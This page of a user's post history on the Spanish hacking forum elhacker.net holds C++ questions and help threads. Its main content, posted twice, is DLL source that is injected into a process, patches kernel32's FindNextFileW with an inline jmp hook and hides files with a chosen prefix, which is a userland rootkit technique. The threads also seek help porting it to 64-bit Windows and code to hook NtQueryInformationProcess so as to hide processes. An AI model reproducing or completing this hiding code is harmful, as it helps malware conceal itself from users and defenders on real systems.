elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 [2]
11  Programación / Programación C/C++ / Re: Borrar ultimo nodo lista simplemente enlazada en: 22 Marzo 2017, 21:53 pm
Alguien me puede ayudar a borrar el ultimo nodo en mi lista simplemente enlazada, se lo agradecería mucho




Código
  1.  
  2.  
  3. void FLORES::borrar_nodo(){// El problema XD
  4.  
  5.                            auxiliar=auxiliar->liga;
  6.                            delete nuevo;
  7.    auxiliar->liga=NULL;
  8.                            }
  9.  
  10.  


Código
  1.   void FLORES::borrar_nodo(){// El problema XD
  2.  
  3. primero = NULL; // restablecer var
  4.  
  5.                            }
  6.  

Este code restablece la variable a 0, espero que te sirva, SALUDOS!.
12  Seguridad Informática / Hacking / Re: Monitorizar equipos. Visualizar pantalla en: 22 Marzo 2017, 19:35 pm
Muchas gracias warcry

Ahora solo necesito que me recomendeis un programa jejej
13  Seguridad Informática / Hacking / Re: Monitorizar equipos. Visualizar pantalla en: 22 Marzo 2017, 19:32 pm
Muchas gracias warcry

Ahora solo necesito que me recomendeis un programa jejej

Utiliza LogMeIn , tienes una licencia gratuita y una licencia de pago. LogMeIn es para administración remota, lo instalas alas computadoras que quieres ver, y ya. hay mucha info en san google, SALUDOS!
14  Programación / Programación C/C++ / Re: [AYUDA] DLL en: 22 Marzo 2017, 02:35 am
Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....

Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...

Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...



B#
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen:

http://imgur.com/a/qemjl

Mi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW,  y sesupone que necesito 5 bytes más para poder colocar el salto hay,  Gracias nuevamente por ayudarme , SALUDOS!.
15  Programación / Programación C/C++ / Re: [AYUDA] DLL en: 21 Marzo 2017, 23:29 pm
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
Gracias por responder , y si exactamente ese era el problema pero ya lo había solucionado , de todos modos muchas gracias. Ahora me falta solucionar el salto del hook, tú sabes algo de eso? Saludos. y Muchas gracias.
16  Programación / Programación C/C++ / Re: [AYUDA] DLL en: 21 Marzo 2017, 22:15 pm
Código
  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <iostream>
  4.  
  5.  
  6. // DECLARACIONES:
  7. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  8. char Prefijo[] = "Arquivo_";   // El prefijo que buscaremos para ocultar archivos/carpetas
  9.  
  10.  
  11. // FUNCIONES:
  12. void    Hookear();  // Función que hookeará el api
  13.  
  14.  
  15. // Función que será llamada en vez de FindNextFileW
  16. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  17. // Puntero a función con el cual llamaremos al api FindNextFileW original
  18. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  19.  
  20.  
  21.  
  22.  
  23.  
  24. // FUNCIÓN MAIN
  25. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  26. {
  27. // Si cargan la DLL hookeamos
  28. if (fdwReason == DLL_PROCESS_ATTACH)
  29. {
  30. Hookear();
  31. }
  32. return TRUE;
  33. }
  34.  
  35.  
  36.  
  37. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  38. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  39. {
  40. // Ocultamos los archivos que empiecen por el prefijo indicado
  41.  
  42. HANDLE hand;
  43. char ascStr[611];
  44.  
  45. do
  46. {
  47. hand = pBuffFN(hFindFile,lpFindFileData);
  48. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  49.  
  50. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  51.  
  52. return hand;
  53. }
  54.  
  55.  
  56. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  57. void Hookear()
  58. {
  59. DWORD ProteVieja;  // Parametro para VirtualProtect
  60. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  61. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  62.  
  63. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  64.  
  65. // Obtenemos la dirección en memoria de FindNextFileW.
  66. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  67.  
  68. //Reservamos 12 bytes de memoria para nuestro Buffer
  69. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  70. BufferFN=(BYTE *) malloc (12);
  71.  
  72. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  73. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  74.  
  75. // Copiamos los 7 primeros bytes del api en el buffer
  76. memcpy(BufferFN,DirFN,7);
  77. BufferFN += 7;
  78.  
  79. // En los 5 bytes restantes...
  80. // En el primero introducimos un jmp
  81. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  82. BufferFN++;
  83.  
  84. // En los otros 4 la distancia del salto
  85. *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85
  86.  
  87. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  88. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  89.  
  90.  
  91. // Le damos todos los permisos a los 5 primeros bytes de la api original
  92. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  93.  
  94. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  95. DirYoFN=(BYTE *) miFindNextFileW;
  96.  
  97. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  98. *DirFN=0xE9;
  99. DirFN++;
  100.  
  101. // Metemos la distancia del salto
  102. *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
  103. // Libermos librerias de cache
  104. FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  105. }
  106.  

acabo de compilar el codigo x64 bits y me lanza 2 errores;

Código
  1. // En los otros 4 la distancia del salto
  2. *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85
  3.  
  4.     // Metemos la distancia del salto
  5. *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
  6.  
  7.  


1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos

Alguien sabe porque pasa eso?

COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10
17  Programación / Programación C/C++ / Re: [AYUDA] DLL en: 21 Marzo 2017, 20:48 pm
Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...


B#
Hola BloodSharp Gracias por responder, resulta que estoy recién empezando en este tema de las apis, me podrias ayudar un poco más , para llegar a solucionar el salto del hook. y desde luego muchas gracias SALUDOS.
18  Programación / Programación C/C++ / [AYUDA] DLL en: 21 Marzo 2017, 19:05 pm
Tengo un problema  la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor.


Código
  1. // ------------------------ DLL API HOOK EN ->  FindNextFileW Y FindFirstFileW ---------------------------
  2.  
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. #include <iostream>
  6.  
  7.  
  8. // DECLARACIONES:
  9. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  10. char Prefijo[] = "Archivo";   // El prefijo que buscaremos para ocultar archivos/carpetas
  11.  
  12.  
  13. // FUNCIONES:
  14. void    Hookear();  // Función que hookeará el api
  15.  
  16.  
  17. // Función que será llamada en vez de FindNextFileW
  18. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  19. // Puntero a función con el cual llamaremos al api FindNextFileW original
  20. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  21.  
  22.  
  23.  
  24.  
  25.  
  26. // FUNCIÓN MAIN
  27. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  28. {
  29. // Si cargan la DLL hookeamos
  30. if (fdwReason == DLL_PROCESS_ATTACH)
  31. {
  32. Hookear();
  33. }
  34. return TRUE;
  35. }
  36.  
  37.  
  38.  
  39. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  40. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  41. {
  42. // Ocultamos los archivos que empiecen por el prefijo indicado
  43.  
  44. HANDLE hand;
  45. char ascStr[611];
  46.  
  47. do
  48. {
  49. hand = pBuffFN(hFindFile,lpFindFileData);
  50. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  51.  
  52. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  53.  
  54. return hand;
  55. }
  56.  
  57.  
  58. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  59. void Hookear()
  60. {
  61. DWORD ProteVieja;  // Parametro para VirtualProtect
  62. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  63. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  64.  
  65. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  66.  
  67. // Obtenemos la dirección en memoria de FindNextFileW.
  68. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  69.  
  70. //Reservamos 12 bytes de memoria para nuestro Buffer
  71. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  72. BufferFN=(BYTE *) malloc (12);
  73.  
  74. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  75. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  76.  
  77. // Copiamos los 7 primeros bytes del api en el buffer
  78. memcpy(BufferFN,DirFN,7);
  79. BufferFN += 7;
  80.  
  81. // En los 5 bytes restantes...
  82. // En el primero introducimos un jmp
  83. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  84. BufferFN++;
  85.  
  86. // En los otros 4 la distancia del salto
  87. *((signed int *) BufferFN)= DirFN - BufferFN + 3;
  88.  
  89. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  90. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  91.  
  92.  
  93. // Le damos todos los permisos a los 5 primeros bytes de la api original
  94. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  95.  
  96. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  97. DirYoFN=(BYTE *) miFindNextFileW;
  98.  
  99. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  100. *DirFN=0xE9;
  101. DirFN++;
  102.  
  103. // Metemos la distancia del salto
  104. *((signed int *) DirFN)=DirYoFN - DirFN - 4;
  105. // Libermos librerias de cache
  106. FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  107. }
  108.  

19  Programación / Programación C/C++ / AYUDA! API HOOK C++ en: 20 Marzo 2017, 20:09 pm
Hola gracias por entrar ami tema, necesito ayuda para poder enganchar la API NtQueryInformationProcess para listar los procesos , alguien me podria pasar un codigo funcional para poder estudiarlo? , e encontrado codigos pero son muy complejos y dificil de entender y muchos no funcionan , espero que me puedan ayudar, GRACIAS. C++
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines